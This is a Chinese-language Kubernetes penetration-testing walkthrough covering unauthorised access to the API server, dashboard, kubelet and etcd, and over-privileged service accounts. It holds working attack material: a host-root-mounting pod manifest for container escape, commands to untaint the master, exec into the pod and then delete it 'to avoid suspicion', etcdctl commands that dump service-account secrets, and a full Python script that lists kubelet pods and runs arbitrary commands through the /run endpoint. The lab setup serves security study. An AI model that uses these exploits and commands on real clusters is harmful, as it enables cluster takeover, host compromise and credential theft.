# api-server 未授权漏洞

# 介绍

通过 apiserver 可以管控整个集群。
默认情况,Kubernetes API Server 提供 HTTP 的两个端口:
1. 本地主机端口 (高版本已弃用)
・HTTP 服务
・默认端口 8080,修改标识–insecure-port
・默认 IP 是本地主机,修改标识 —insecure-bind-address
・在 HTTP 中没有认证和授权检查
・主机访问受保护
2.Secure Port
・默认端口 6443,修改标识 —secure-port
・默认 IP 是首个非本地主机的网络接口,修改标识 —bind-address
・HTTPS 服务。设置证书和秘钥的标识,–tls-cert-file,–tls-private-key-file
・认证方式,令牌文件或者客户端证书
・使用基于策略的授权方式

如果我们能够调用 apiserver,就相当于接管了集群,那么参考 docker 的 api 未授权,我们可以创建一个挂载了宿主机的目录的容器,然后进行逃逸,拿到宿主机权限。

# 环境搭建

本来 api-server 是存在两个 api-sever 端口的,但这里因为我当前环境的 k8s 版本过高,insecure-port 已经被弃用了,所以无法在当前环境搭建 8080 端口的未授权。

image-20220303161012526

因此这里搭建环境是通过将匿名用户 system:anymouse 给绑定到 "cluster-admin" 用户组
中,从而实现配置不当导致的未授权。
如图,错误的角色绑定,导致存在未授权漏洞。

image-20220303161015954

apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata: 
  name: eviltest
roleRef:
  apiGroup: rbac.authorization.k8s.io
  kind: ClusterRole
  name: cluster-admin
subjects:
- apiGroup: rbac.authorization.k8s.io
  kind: User
  name: system:anonymous

image-20220303161046816

环境的恢复,也很简单,只需要把这个错误绑定给删掉就行了。

image-20220303163521842

# 漏洞利用

# api 未授权寻找

如果 apiserver 直接暴露在公网上,那没什么好说的,直接就冲。
但是如果目标 apiserver 不暴露在公网上呢?这种情况下,我们需要先打入内部。
想办法获取目标容器和 node 的权限,当然,通常情况下我们是只能拿到容器权限的。
但是不要紧,在容器内部可以查到 apiserver 的地址,需要注意的是该地址只是集群的内部虚拟地址,并非 nodeip。
然后就是代理进去即可。

image-20220303161126627

# 集群信息收集

首先,收集节点看看我们能拿下哪些主机,可以看到,目标存在两台宿主机,一个 master 和一个 work,我们这里两台都想拿下。

查看集群信息,可以知道有哪些服务,服务名称。

image-20220303161144794

image-20220303161149946

通常 api-server 都会在 master 节点上部署,所以定位 api-server 的位置也可以找到 master

image-20220303161202590

PS:master 的概念并非是一台机子。有时候有些集群的各个 master 组件可能不会部署在同一台机子上,它们可能被分布在多个机器上提供服务。这时候把这些 master 组件加起来才叫 master。

通常我们比较关心的是 api-server 这个组件,因为这是集群的大脑。

如果我们拿下的是其中一个 pod 的话,直接查看 env 变量就行

image-20220303161508593

# 允许 master 参与部署 pod 节点

因为 master 节点默认情况下是不允许部署应用的,所以 master 节点需要多加一步操作,而 work 节点就不需要。

kubectl -s "https://192.168.5.174:6443" describe node <master-name> | grep Taints  #查看节点 master 是否允许部署 pod
kubectl taint nodes <master-name> node-role.kubernetes.io/master-    #允许 master 节点参与部署应用
 kubectl taint nodes <master-name> node-role.kubernetes.io/master=true:NoSchedule #禁止 master 节点部署应用

image-20220303161623000

# 部署挂载宿主机目录的应用

到这里也很简单,就是简单的部署一个挂载宿主机的应用,然后进入应用就可以了。

PS:这里其实我们可以查看它有的镜像,然后用这个镜像,这样就不需要目标去浪费大量时间去 pull 镜像了(或者说目标不出网没法 pull 镜像的情况)。

这里我们直接用后面的 images id 作为镜像 name 创建 pod 就好了。通过 deployment 能看到具体的镜像名称,pod 则看不到。

image-20220304213106875

image-20220303161649986

而因为通常部署应用的时候,是根据负载均衡去部署的,所以如果我们不指定的话,可能会乱部署。

所以我们用以下 yaml,这里代表在 master 节点上部署我们的应用。尽量用轻量的原始镜像。

kubectl -s "https://192.168.5.174:6443" create -f /home/momo/桌面/attack.yaml
apiVersion: v1
	kind: Pod
	metadata:
	  name: evil
	spec:
	  nodeName: master #部署在master节点
	  containers:
	  - image: nginx #简单的镜像
	    name: container
	    volumeMounts:
	    - mountPath: /test #把系统的根目录挂载到容器的这个目录下
	      name: test-volume
	  volumes:
	  - name: test-volume
	    hostPath:
	      path: /

中间可以使用命令查看 pod 状态 以防各种问题导致容器一直没起起来而不知道。

kubectl -s "https://192.168.5.174:6443" describe pod evil

image-20220303161729785

成功部署后,发现确实在 master 上

image-20220303161738929

# 进入容器,获取 shell

成功部署后,接下来的就是漏洞的利用了,这里就很简单了,和 docker 挂载差不多。

kubectl -s "https://192.168.5.174:6443" exec -it evil /bin/bash #接下来就可以写计划任务、公私钥直接获取权限了

image-20220303161810170

# 打扫战场

拿到权限后,把我们起的 pod 给删了。避免起疑

kubectl -s "https://192.168.5.174:6443" exec -it evil /bin/bash

# Kubernetes-dashboard 未授权

# 介绍

Dashboard 是基于网页的 Kubernetes 用户界面。 你可以使用 Dashboard 将容器应用部署到 Kubernetes 集群中,也可以对容器应用排错,还能管理集群资源。 你可以使用 Dashboard 获取运行在集群中的应用的概览信息,也可以创建或者修改 Kubernetes 资源 (如 Deployment,Job,DaemonSet 等等)。 例如,你可以对 Deployment 实现弹性伸缩、发起滚动升级、重启 Pod 或者使用向导创建新的应用,其实就是 web 管理端,本质上也是对 api-server 的调用。

# 环境搭建

kubernetesdashboard 的未授权其实分两种,一种是在原本的 dashboard 中,本身就存在着一个不需要登录的 http 接口,但是这个接口本身并不会暴露出来,所以如果这个接口被暴露在外,就会 dashboard 的未授权。
另一种情况则是开发嫌登录麻烦,修改了配置文件,使得安全接口 https 的 dashboard 页面可以跳过登录。

# https 跳过认证环境搭建认证

这里搭建非常的简单,只需要在配置文件中添加上一行 --enable-skip-login 即可。
因为 Kubernetes 使用 RBAC (Role-based access control) 机制进行身份认证和权限管理,不同的 serviceaccount 拥有不同的集群权限。
我们点击 Skip 进入 dashboard 实际上使用的是 Kubernetes-dashboard 这个 ServiceAccount,如果此时该 ServiceAccount 没有配置特殊的权限,是默认没有办法达到控制集群任意功能的程度的。
但有些开发者为了方便或者在测试环境中会为 Kubernetes-dashboard 绑定 cluster-admin 这个 ClusterRole(cluster-admin 拥有管理集群的最高权限)。
所以我们还需要将 ServiceAccount 绑定到 cluster-admin 中

image-20220303163625873

这里是将 kubernetes-dashboard 命名空间中的 serviceaccount 账号给加到 cluster-admin 中。

kubectl apply -f xxx.yaml  
kubectl delete -f xxx.yaml  或者 kubectl delete eviltest #删除掉也很简单。
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
  name: eviltest
  namespace: kube-system
roleRef:
  apiGroup: rbac.authorization.k8s.io
  kind: ClusterRole
  name: cluster-admin
subjects:
- kind: ServiceAccount
  name: kubernetes-dashboard
  namespace: kubernetes-dashboard

image-20220303163027642

image-20220303163116025

image-20220303163120469

# http 接口暴露环境搭建(未成功)

首先,需要修改 dashboard 的 deployment,将 9090 端口给映射出来(镜像中本身就存在,只是默认不开放暴露出来。)

image-20220303163210529

前面将 9090 给映射出来后,还需要暴露到外网中,这里修改 Service
同时也需要加 name 属性。

image-20220303163215514

但是我在后续访问的时候,无法访问,不知道是 dashboard 版本太高被弃用了还是怎么回事。

image-20220303163220233

# 漏洞利用

这里通过 dashboard 没法执行 kubectl 命令,但实际在 dashboard 中你点开一个对象的配置文件进行修改提交就相当于 kubectl 的 create 和 apply,而 decribe 等查看信息的命令,在 dashboard 中就相当于点开对象的配置文件。

所以我们第一步还是一样的,直接先去找谁是 master,然后再修改 master 的配置文件,让它允许 master 节点部署。然后就是直接启特权容器挂载目录拿 shell。

# 查询 master(或者没法查到)

老样子,查看 role 属性或者 apiserver 的所在宿主机。

image-20220303163254900

image-20220303163259765

# 允许 master 部署应用

虽然这里我们没法用 kubectl,但前面讲了,kubectl 的所有操作本质上就是修改 yaml 文件,因此这里也是只需要修改 yaml 文件即可。
找到目标节点的配置文件,然后删除掉这部分即可。

image-20220303163323991

image-20220303163335786

# 部署特权容器拿 shell

image-20220303163352682

image-20220303163356990

# kubelet api 10250 未授权

# 简介

kubelet 是 kubernetes 集群中真正维护容器状态,具体 “干活” 的组件。每个节点上都运行一个 kubelet 服务进程,默认监听 10250 端口,接收并执行 master(api-server) 发来的指令,管理 Pod 及 Pod 中的容器。通过该端口可以访问和获取 node 资源及状态。kubectl 命令查看 pod 的日志和执行 cmd 命令都是通过 kubectl 的 10250 端口的。
简单的理解:如果说 api-server 未授权是域控的未授权,那么 kubelet 的未授权就相当于域内一台机子的未授权。

image-20220303163652028

# 环境搭建

# 允许匿名登录(需要注意,这个是到目标宿主机上改,并且只作用于当前机子)

首先,先修改配置文件允许匿名登录

vim  /var/lib/kubelet/config.yaml

image-20220303163725372

但这样仅仅只是开启了匿名登录,匿名账号是没有权限的,因此我们还需要设置权限。

image-20220303163728274

# 修改匿名用户权限

和前面 api-server 中的一样,这里把匿名组给绑定到 cluster-admin 中就可以了。

使用下述命令或者 apply 下述 yaml

kubectl create clusterrolebinding eviltest --clusterrole=cluster-admin --user=system:anonymous

apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
  name: eviltest
roleRef:
  apiGroup: rbac.authorization.k8s.io
  kind: ClusterRole
  name: cluster-admin
subjects:
- apiGroup: rbac.authorization.k8s.io
  kind: User
  name: system:anonymous

image-20220303163753640

image-20220303163835691

# 漏洞利用

通过前面的介绍,我们得知 kubelet 只能管控当前宿主机,并且只存在以下接口。
因此通过这个未授权,我们能够得到的权限很有限。
• /pods、/runningpods
• /metrics、/metrics/cadvisor、/metrics/probes
• /spec
• /stats、/stats/container
• /logs
• /run/、/exec/, /attach/, /portForward/, /containerLogs/

# 获取 pod 信息

首先我们通过 pods 这个接口获取到这个节点上的 pod,然后指定目标 pod 执行任意命令即可。
如图。这里 pod 名为 php-deployment-699b9d5c7f-k66jq,命名空间 php,标签 php

image-20220303163920153

可以通过筛选关键字 securityContext 找到特权容器。

image-20220303163926273

# 执行命令

通过前面获取到的信息,向接口 /run/<namespace>/<name>/<labeles> 发送 post 请求,参数 cmd,则可以执行任意命令

image-20220303164300516

import re
import json
import argparse
import requests
requests.packages.urllib3.disable_warnings()
def exp_go(ip,port):
    headers={
        "User-Agent":"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36 MicroMessenger/7.0.9.501 NetType/WIFI MiniProgramEnv/Windows WindowsWechat",
        "content-type":"application/x-www-form-urlencoded"
        }
    try:
        r=requests.get('https://'+ip+':'+port+'/pods',headers=headers,verify=False,timeout=10)
        info=json.loads(r.text)
    except:
        return False
    for i in range(0,len(info["items"])):
        
        try:
            
            namespace=info["items"][i]["metadata"]["namespace"]
            name=info["items"][i]["metadata"]["name"];
            k8s_app=info["items"][i]["metadata"]["labels"]["k8s-app"]
            url="https://"+ip+":"+port+"/run/"+namespace+"/"+name+"/"+k8s_app
            RCE(url,headers)
        except:
            pass
def RCE(url,headers):
    while(1):
        cmd=input("命令:")
        data={
            "cmd":cmd
        }
        r=requests.post(url=url,headers=headers,verify=False,timeout=10,data=data)
        print("===========命令执行结果=============")
        print(r.text)
        print("====================================\n\n")
    
if __name__ == '__main__':
    
    
    
    parser = argparse.ArgumentParser(description='')
    parser.add_argument('-u', type=str, help='ip:127.0.0.1')
    parser.add_argument('-p', type=str, help='端口:10250')
    args = parser.parse_args()
    
    result=exp_go(args.u,args.p)

# etcd 数据库未授权,读取 token

# 简介

https://zhuanlan.zhihu.com/p/94685947
https://blog.csdn.net/boling_cavalry/article/details/88958242
etcd 是一个分布式一致性键值存储系统,用于共享配置和服务发现。
它在 kubernetes 中主要用于存储所有需要持久化的数据。比如一些账号的 token 等都是存储在这的。
其默认监听了 2379 等端口,如果 2379 端口暴露,加上未授权就可能造成 token 等信息泄露。

# k8s 中简单的访问 etcd

ETCD V2 和 V3 是两套不兼容的 API,K8s 用 V3,所以我们需要先通过环境变量设置 API V3:

export ETCDCTL_API=3

其次因为我们这里是用 kubeadm 部署的 etcd,所以在访问的时候相当于远程访问,是需要带上证书的,
默认会把 CA 根证书和签发的 Server 证书放在 /etc/kubernetes/pki/etcd 目录下
所以我们访问的命令是

etcdctl --endpoints 127.0.0.1:2379  --cacert=ca.crt --cert=server.crt --key=server.key endpoint health

image-20220303164511410

当然,我们可以加入 alias 环境变量,这样就不需要每次都带上那么长的证书命令了。

alias etcdctl='etcdctl \
  --key=/etc/kubernetes/pki/etcd/server.key \
  --cert=/etc/kubernetes/pki/etcd/server.crt  \
  --cacert=/etc/kubernetes/pki/etcd/ca.crt \
  --endpoints https://127.0.0.1:2379'

image-20220303164516423

# 环境搭建

理论上我们只需要修改这个参数即可。但是我修改了也一直没法生效。不知道什么情况。因为这里没成功部署环境,所以用带证书的操作来假装未授权。

image-20220303164540579

# 漏洞复现

未授权访问流程:

  • 设置 etcdapi 版本,检查是否正常链接 etcdctl endpoint health
  • 读取 token
  • 通过 token 认证访问 API-Server 端口 6443,接管集群

# 连接 etcd

设置 alias,方便操作

export ETCDCTL_API=3

image-20220303164818195

# 读取数据

这里如果想获取集群的普通数据的话,是需要解码的,普通数据因为性能要求都经过了编码,但是我们还是能够看到一部分信息的。
如果想要解码,参考文章 https://zhuanlan.zhihu.com/p/94685947
而这里我们要获取的集群 token 数据只用了 base64 编码,所以我们读取是不需要特别的解码的。

image-20220303164844407

etcdctl get / --prefix --keys-only | grep /secrets/   #列出数据库中的 secrets

image-20220303164928058

etcdctl get /registry/secrets/kube-system/service-account-controller-token-ht74f   #获取 serveice-account 的数据

这里 token 为 ey 到 #前面部分 b

image-20220303164932343

# 使用 token 访问 api-server

这里需要注意,不是所有的 token 都有权限的,比如我这里的这个 token 就没有权限,加上我没创建一个有权限的账号,所以我估摸着上面列出凭据没一个能有权限去操控 api-server。

kubectl --insecure-skip-tls-verify -s https://192.168.5.174:6443/ --token="" -n kube-system get pods

image-20220303165004415

# Service Account 高权限

# 简介

https://blog.csdn.net/weixin_37337210/article/details/112757500 (详情可见)
ServiceAccount 是给运行在 Pod 的程序使用的身份认证,Pod 容器的进程需要访问 API Server 时用的就是 ServiceAccount 帐户; ServiceAccount 仅局限它所在的名称空间,每个名称空间创建时都会自动创建一个默认服务帐户;创建 Pod 时,如果没有指定服务帐户,Pod 重新使用默认服务帐户
但是这里需要明白 Service Account 并非是一个账号,而是一种账号。
并且 ServercAccount 账号是按命名空间进行划分的,通常一个 pod 如果不指定它的 serveraccount 账号的话,它就会默认使用这个命名空间下名为 default 的 serviceaccount 账号。

# 漏洞搭建

因为这个账号的权限过低,所以我们是没办法使用该账号去调用 api-server 的,
但是如果管理员错误的设置了它的权限,那么我们就可能能够利用该账号访问 api-server。

首先,前面讲了,如果 pod 在创建的时候不指定 serviceaccount 的话,就会默认使用当前命名空间下的 default 账号。
这里我们先查看 php 这个命名空间的 serviceaccount,有且只有一个(只要你不主动加,就只有一个)

apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
  name: eviltest
  namespace: kube-system
roleRef:
  apiGroup: rbac.authorization.k8s.io
  kind: ClusterRole
  name: cluster-admin
subjects:
- kind: ServiceAccount
  name: default
  namespace: php

image-20220303165051247

# 漏洞利用

首先,这个账号的证书被挂载在 /run/secrets/kubernetes.io/serviceaccount 目录下

image-20220303165140267

我们这里通过 cdk 就可以快速判断这个账号是否具备高权限。然后进行后续利用。后续的利用其实就是调用 api-server 干你想干的事了。也可读取 token 去访问 api-server 看看有没有权限。

image-20220303165144111